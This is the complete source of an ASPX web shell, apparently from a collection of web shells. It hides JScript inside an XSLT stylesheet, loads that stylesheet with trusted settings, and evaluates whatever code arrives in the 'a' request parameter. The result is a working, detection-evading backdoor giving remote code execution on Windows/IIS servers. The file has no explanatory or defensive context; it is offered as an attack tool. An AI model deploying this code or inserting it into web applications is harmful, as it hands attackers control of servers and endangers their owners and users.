webshell/aspx/a.aspx

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2020-02-17 07:27:30 +00:00
<%@ Page Language="C#" Debug="true" %>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.Xml"%>
<%@ import Namespace="System.Xml.Xsl"%>
<%
string xml=@"<?xml version=""1.0""?><root>test</root>";
string xslt=@"<?xml version='1.0'?>
<xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">
<msxsl:script language=""JScript"" implements-prefix=""zcg"">
<msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
<msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
<msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
<msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
<![CDATA[function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['a'],'unsafe');Response.End();}]]>
</msxsl:script>
<xsl:template match=""/root"">
<xsl:value-of select=""zcg:xml()""/>
</xsl:template>
</xsl:stylesheet>";
XmlDocument xmldoc=new XmlDocument();
xmldoc.LoadXml(xml);
XmlDocument xsldoc=new XmlDocument();
xsldoc.LoadXml(xslt);
XslCompiledTransform xct=new XslCompiledTransform();
xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());
xct.Transform(xmldoc,null,new MemoryStream());
%>